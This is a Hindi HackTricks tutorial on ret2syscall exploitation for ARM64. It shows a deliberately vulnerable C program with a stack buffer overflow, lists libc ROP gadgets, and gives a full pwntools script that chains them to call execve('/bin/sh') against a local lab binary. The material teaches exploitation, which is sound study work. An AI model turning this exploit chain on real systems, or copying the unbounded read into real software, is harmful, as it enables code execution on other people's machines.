Ret2syscall - ARM64

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

आर्म64 के लिए परिचय पाएं:

pageIntroduction to ARM64v8

कोड

हम पृष्ठ से उदाहरण का उपयोग करेंगे:

pageRet2win - arm64
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

कैनरी और PIE के बिना कंपाइल करें:

clang -o ret2win ret2win.c -fno-stack-protector

गैजेट

सिस्टम कॉल के लिए कॉल को तैयार करने के लिए निम्नलिखित कॉन्फ़िगरेशन की आवश्यकता है:

  • x8: 221 सिस_execve को निर्दिष्ट करें

  • x0: "/bin/sh" के पते को निर्दिष्ट करें फ़ाइल को निष्पादित करने के लिए

  • x1: 0 कोई तर्क नहीं पारित करने को निर्दिष्ट करें

  • x2: 0 कोई पर्यावरण चर नहीं पारित करने को निर्दिष्ट करें

ROPgadget.py का उपयोग करके मैंने मशीन की libc पुस्तकालय में निम्नलिखित गैजेट्स का पता लगाया:

;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5

;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0

पिछले गैजेट्स के साथ हम स्टैक से सभी आवश्यक रजिस्टर को नियंत्रित कर सकते हैं और x5 का उपयोग करके सिस्टम कॉल करने के लिए दूसरे गैजेट पर जाने के लिए कर सकते हैं।

ध्यान दें कि इस जानकारी को libc पुस्तकालय से जानने से रेट2libc हमला भी किया जा सकता है, लेकिन चलते हैं इस वर्तमान उदाहरण के लिए।

शिकार

from pwn import *

p = process('./ret2syscall')
elf = context.binary = ELF('./ret2syscall')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5

# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
call_execve = libc.address + 0xbb97c

print("/bin/sh in: " + hex(binsh))
print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
print("call_execve in: " + hex(call_execve))

# stack offset
bof = b"A" * (stack_offset)
bof += p64(load_x0_x1_x2)

# ldp x3, x0, [sp, #8]
rop = b"BBBBBBBBBBBBBBBB" #x3
rop += p64(binsh) #x0

# ldp x1, x4, [sp, #0x18]
rop += b"C"*(0x18 - len(rop))
rop += p64(0x00) # x1
rop += b"CCCCCCCC" #x4

# ldr x5, [sp, #0x58]
rop += b"D"*(0x58 - len(rop))
rop += p64(call_execve) # x5

# ldr x2, [sp, #0xe0]
rop += b"E" * (0xe0 - len(rop))
rop += p64(0x00) # x2

payload = bof + rop

p.sendline(payload)

p.interactive()
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Last updated